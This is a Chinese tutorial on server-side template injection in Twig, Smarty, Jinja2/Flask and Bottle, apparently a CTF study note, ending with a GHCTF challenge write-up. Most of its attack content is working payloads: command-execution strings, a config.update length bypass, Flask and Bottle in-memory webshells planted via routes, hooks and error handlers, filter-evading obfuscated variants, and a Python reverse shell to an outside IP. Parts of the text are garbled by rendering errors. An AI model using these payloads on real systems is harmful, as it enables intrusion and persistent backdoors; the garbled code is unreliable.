SSTI(Server-Side Template Injection,服務器段模板注入)
當前使用的一些框架,如python的flask、php的tp、java的spring,都采用成熟的MVC模式,用戶的輸入會先進入到Controller控制器,然后根據請求的類型和請求的指令發給對應的業務模型進行業務邏輯判斷、數據庫存儲、再把結果返回給view視圖層,經過模板渲染展示給用戶。
漏洞成因就是服務器段接收用戶惡意輸入未經任何處理就將其視為web應用模板的一部分,在渲染的過程,執行了用戶插入的惡意語句。
分類
PHP中的SSTI
twig、smarty、blade
Twig
簡介及測試
Twig是Symfony的模板引擎。Twig使用一個加載器loader(Twig_Loader_Array)來定位模板,以及一個環境變量來environment(Twig_Environment)來存儲配置信息。
其中,render()方法通過第一個參數載入模板,第二個參數中的變量來渲染模板。
//渲染內容用戶不可控
//渲染內容用戶可控
<?php require_once dirname(__FILE__) . '\vendor\autoload.php'; $loader = new \Twig\Loader\ArrayLoader(); $twig = new \Twig\Environment($loader); $template = $_GET['template'] ?? 'Hello {{name}}'; // 用戶輸入模板 $loader->setTemplate('test', $template); echo $twig->render('test', ['name' => $_GET['name'] ?? '']); ?>當渲染內容用戶可控時,可以進行xss和模板注入
判斷方式
由于{#comment#}作為Twig模板引擎的默認注釋形式,在前端輸出的時候不會顯示,因此可以利用這個來判斷是否使用了Twig模板引擎
可以使用下面這個語句進行測試:Mic{# comment #}{{28}}OK,
這里要經過url編碼成:Misc%7b%23comment%23%7d%7b%7b12%7d%7dx%7b%7b2*3%7d%7d
smarty
簡介及測試
最流行的php模板之一,為不受信任的模板執行提供了安全模式。這個會強制執行在php安全函數白名單中的函數,因此無法直接調用php中直接執行命令的函數(相當于一個disable_function)
但是 s m a r t y 內置變量可以用于訪問各種環境變量,例如使用 s e l f 得到 s m a r t y 這個類然后去找 s m a r t y 中可以使用的方法。例如: p u b l i c f u n c t i o n g e t S t r e a m V a r i a b l e ( smarty內置變量可以用于訪問各種環境變量,例如使用self得到smarty這個類然后去找smarty中可以使用的方法。 例如: public function getStreamVariable( smarty內置變量可以用于訪問各種環境變量,例如使用self得到smarty這個類然后去找smarty中可以使用的方法。例如:publicfunctiongetStreamVariable(variable)
{
$_result = ‘’;
f p = f o p e n ( fp = fopen( fp=fopen(variable, ‘r+’);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … while (!feof(fp) && ( c u r r e n t l i n e = f g e t s ( current_line = fgets( currentl?ine=fgets(fp)) !== false) {
$_result .= KaTeX parse error: Expected 'EOF', got '}' at position 27: …e; }? fc…fp);
return $_result;
}
s m a r t y = i s s e t ( smarty = isset( smarty=isset(this->smarty) ? $this->smarty : t h i s ; i f ( this; if ( this;if(smarty->error_unassigned) {
throw new SmartyException(‘Undefined stream variable "’ . KaTeX parse error: Expected 'EOF', got '}' at position 26: … '"'); }? else { …smarty.version}
#{php}{/php}代碼執行
{php}phpinfo();{/php}
#借助{literal}標簽,因為{literal}可以讓一個模板區域的字符原樣輸出(只適合php5)
#利用getsrteamvariable獲取傳入變量的流(適合舊版本的Smarty)
{self::getStreamVariable(“file:///etc/passwd”)}
#{if}{/if}代碼執行
{if phpinfo()}{/if} {if system(‘id’)}{/if}
python中的SSTI
Jinja2(flask的一部分)、tornado、Django、
Jinja2
jinja2以Django模板那為模型,是Flask框架的一部分。jinja2會把模板參數提供的相應的值替換成{{…}}塊(一種特殊的占位符),告訴模板引擎這個位置的值從模板渲染時使用的數據。
jinja2能識別所有類型的變量,甚至一些復雜類型(列表、字典、對象)
JAVA中的SSTI
velocity、FreeMarker
繞過
長度限制
較短payload(48、47)
利用flask內置全局函數
{{url_for.globals.os.popen(‘whoami’).read()}}
{{lipsum.globals.os.popen(‘whoami’).read()}}
利用config變量更新(34字符以內)
config對象實質上是一個字典的子類,因此更新字典使用update()方法,可以不用set()
如果是使用flask,可以利用里面的config對象,通過多步變量更新,繞過lipsum.globals
這個長度最長為34個字符
{{config.update(c=config.update)}}
● config.update()方法用于更新config里面的鍵值對,整個就是給config復制update方法本身,用于動態創建變量
{{config.update(g=“globals”)}}
● 將config[“g”]賦值為__globals__
{{config.c(f=lipsum[config.g])}}
● lipsum[config.g]等價于lipsum[“globals”]
● config.c讓config.f=lipsum.globals,存儲全局變量
{{config.c(o=config.f.os)}}
● 將config.o賦值為lipsum.globals.os,即os模塊
{{config.c(p=config.o.popen)}}
● 將config.p賦值為lipsum.globals.os.popen
{{config.p(“cat /f*”).read()}}
進行命令執行。
命令總結
{{config.update(c=config.update)}}
{{config.update(g=“globals”)}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p(“cat /f*”).read()}}
flask內存🐎
基礎及測試
Flask框架在web應用模板渲染的過程中,利用render_template_string進行渲染,但是未對用戶傳輸的代碼進行過濾導致用戶可以通過注入惡意代碼注入內存馬
本地測試demo
from flask import Flask, request, render_template_string
app = Flask(name)
@app.route(‘/’)
def hello_world(): # put application’s code here
person = ‘knave’
if request.args.get(‘name’):
person = request.args.get(‘name’)
template = ‘
Hi, %s.
’ % personreturn render_template_string(template)
if name == ‘main’:
app.run()
原始Payload: 然后在shell目錄通過對cmd傳參進行rce
url_for.globals[‘builtins’][‘eval’](“app.add_url_rule(‘/shell’, ‘shell’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read())”,{‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],‘app’:url_for.globals[‘current_app’]})
逐層分析:
url_for.globals[‘builtins’][‘eval’](
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”,
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
)
url_for是Flask的內置屬性
globals__是python中函數對象的一個熟悉,表示函數定義所在的全局命名空間。該屬性是一個字典,包含了函數定義時可見的全局變量和函數。能返回函數所在模塊命名空間的所有變量
傳入{{url_for.globals}}可以看到這里支持__builtins
在__builtins__模塊中, Python在啟動時就直接為我們導入了很多內建函數,如:eval exec等
由于存在危險函數,可以直接調用命令來執行操作 (windows彈計算器要用calc命令)
也是成功彈計算器了
{{url_for.globals[‘builtins’][‘eval’](“import(‘os’).system(‘open -a Calculator’)”)}}
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”
這一部分payload的作用是動態添加一條路由,其調用了add_url_rule函數來添加路由,處理該路由的函數是由lamba關鍵字定義的匿名函數
查看add_url_rule函數
rule: 函數對應的URL規則,必須以 / 開頭
lamba匿名函數通過os庫中的popen函數執行web請求中獲取的cmd參數值并返回結果,參數值默認為whoami
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
這一段中_request_ctx_stack是Flask的一個全局變量,是一個LocalStack實例
Bypass繞過
url_for可替換成get_flashed_messages或request.__init__或request.application
eval可換成exec
關鍵字過濾可采用拼接: 如[‘builtins’][‘eval’]變為[‘bui’+'ltins’][‘ev’+‘al’]
[]可用.getitem()或.pop()替換.
過濾{{或者}}, 可以使用{%或者%}繞過, {%%}中間可以執行if語句, 利用這一點可以進行類似盲注的操作或者外帶代碼執行結果.
過濾_可以用編碼繞過, 如__class__替換成\x5f\x5fclass\x5f\x5f, 還可以用dir(0)[0][0]或者request[‘args’]或者request[‘values’]繞過.
過濾了.可以采用attr()或[]繞過
變形payload
request.application.self._get_data_for_json.getattribute(‘globa’+'ls’).getitem(‘bui’+'ltins’).getitem(‘ex’+‘ec’)(“app.add_url_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘shell’, ‘calc’)).read())”,{‘_request_ct’+‘x_stack’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘request’+‘ctx_stack’),‘app’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘curre’+‘nt_app’)})
get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“builtins”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0065\u0076\u0061\u006c”)(“app.add_ur”+“l_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, la”+“mbda :imp"+"ort('o”+“s’).po”+“pen(_request_c”+“tx_stack.to”+“p.re”+“quest.args.get(‘shell’)).re”+“ad())”,{‘\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b”),‘app’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070”)})
bottle內存🐎
基礎及測試
demo
from bottle import template, Bottle,request,error
app = Bottle()
@error(404)
@app.route(‘/shell’)
def index():
result = eval(request.params.get(‘cmd’))
return template(‘Hello {{result}}, how are you?’,result)
@app.route(‘/’)
def index():
return ‘Hello world’
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=8888,debug=True)
首先在裝飾器里面直接調用一個rout函數,可以看一下函數內容:
def route(self,path=None,method=‘GET’,callback=None,name=None,apply=None,skip=None, **config):
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)
def decorator(callback):
if isinstance(callback, basestring): callback = load(callback)
for rule in makelist(path) or yieldroutes(callback):
for verb in makelist(method):
verb = verb.upper()
route = Route(self, rule, verb, callback,
name=name,
plugins=plugins,
skiplist=skiplist, **config)
self.add_route(route)
return callback
return decorator(callback) if callback else decorator
首先進行了一個判斷,如果path是一個可調用的對象(例如一個函數),就交換path和callback的角色,將原本path的值賦給callback,并將path設置為None。下面的就是裝飾器,專門用來接收callback參數,然后都是生成路由的規則。
最后進入add_route函數。
def add_route(self, route):
“”" Add a route object, but do not change the :data:Route.app
attribute.“”"
self.routes.append(route)
self.router.add(route.rule, route.method, route, name=route.name)
if DEBUG: route.prepare()
那么該如何利用callback函數呢,我們知道路由可以傳入一個callback作為回調參數或是處理請求函數,在路由本身解析的過程中,它的本意是與用戶自定義的一個函數進行綁定,那么如何通過不寫一個完整的def情況下自定義一個函數呢?這里就用到了pyth自帶的lambda表達式。
lambda表達式語法:
甚至還可以省略arguments函數,例如:lambda: print(666)
lambda arguments: expression
例如:執行下面這段poc
127.0.0.1:8888/shell?cmd=app.route(“/a”,“GET”,lambda :print(666))
然后訪問/a路由,雖然發現是空白,但是在服務器端,成功執行了代碼:
漏洞利用
思路(1)直接綁定路由
手動引入os執行命令
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(“os”).popen(‘whoami’).read())
接著訪問/c路由,成功執行命令,并且有回顯:
或者使用
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(‘os’).popen(request.params.get(‘a’)).read())
然后在/c路由下通過a參數進行命令執行也可以
思路(2)利用錯誤頁面
有時候框架會自己定義報錯頁面,例如404、500等頁面會有對應的輸出,在bottle框架中會讓我們自定義錯誤響應。
例如:
可以直接自定義一個新的404錯誤處理函數e,在頁面報錯404的時候進行命令執行。
http://127.0.0.1:8888/shell?cmd=app.error(404)(lambda e: import(‘os’).popen(request.query.get(‘a’)).read())
接著隨便訪問一個不存在的目錄,然后利用參數a進行命令執行即可
思路(3)利用hook
hook相當于一個鉤子,當程序執行的時候,hook掛在哪里就會執行哪里。
例如下面這些事件就會觸發鉤子。
例如這個增加鉤子的函數,可以選擇在執行鉤子集合(上面那些)前面加鉤子(insert(0,func)),也可以選擇在后面加鉤子(append(func))
這里以before_request為例(其他幾個效果一樣):
http://127.0.0.1:8888/shell?cmd=app.add_hook(“before_request”,lambda : print(4))
但是由于第一次訪問只是注冊了一個鉤子,不會立即執行,第二次新的請求進來才會觸發鉤子,即這里執行第二個命令的時候才會執行前一個命令。(在服務器端回顯)
但是這里還需要直接看到回顯,這里利用的是響應頭,想要控制響應頭一定要關注response這個操作對象。
可以翻到這個類
再繼續往下翻可以看到一個設置響應頭的方法
有了這個可以設置鍵值對了,現在關鍵點是如何調用response對象
我們在使用bottle框架的時候內置的response對象,我們在import之后可以直接調用,也可以使用__imort__引入__import__(‘bottle’).response即可。
poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).response.set_header( ‘X-flag’, import(‘base64’).b64encode( import(‘os’).popen(request.query.get(‘a’, ‘echo No command provided’)).read().encode(‘utf-8’) ).decode(‘utf-8’) ))
然后在跟頁面利用參數a執行命令,回顯會在響應頭中進行base64加密
還有一種利用bootle框架內的內置函數abort,不僅可以觸發一個異常,而且第二個參數是我們可以控制在回顯頁面上的。
poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).abort(666,import(‘os’).popen(request.query.get(‘a’)).read()))
這里abort隨便接一個不常見的端口號即可,然后以這個端口號為目錄進行訪問(隨便訪問一個目錄好像也可以),利用a傳參進行命令執行
題目練習
GHCTF Message in a Bottle
Bottle也是python的一個渲染框架。
from bottle import Bottle, request, template, run
app = Bottle()
存儲留言的列表
messages = []
def handle_message(message):
message_items = “”.join([f"“”
“”" for idx, msg in enumerate(message)])
board = f"""留言板內容......"""
return board
def waf(message):
return message.replace(“{”, “”).replace(“}”, “”)
@app.route(‘/’)
def index():
return template(handle_message(messages))
@app.route(‘/Clean’)
def Clean():
global messages
messages = []
return ‘’
@app.route(‘/submit’, method=‘POST’)
def submit():
message = waf(request.forms.get(‘message’))
messages.append(message)
return template(handle_message(messages))
if name == ‘main’:
run(app, host=‘localhost’, port=9000)
看源碼可以看到過濾了{和}
但是在官方文檔中看到,可以使用%來嵌入一行代碼,例如:
% result=5*5
可以使用<%和%>來嵌入代碼塊,例如:
<%
test
%>
方法一:
% (import(‘os’).popen(‘tac /flag >456.txt’).read())
執行沒有回顯,反彈shell沒成功,使用include包含
% include(‘456.txt’)
方法二:
% import(‘os’).popen(“python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((“111.xxx.xxx.xxx”,7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(“sh”)’”).read()
方法三:
% from bottle import Bottle, request
% app=import(‘sys’).modules[‘main’].dict[‘app’]
% app.route(“/shell”,“GET”,lambda :import(‘os’).popen(request.params.get(‘lalala’)).read())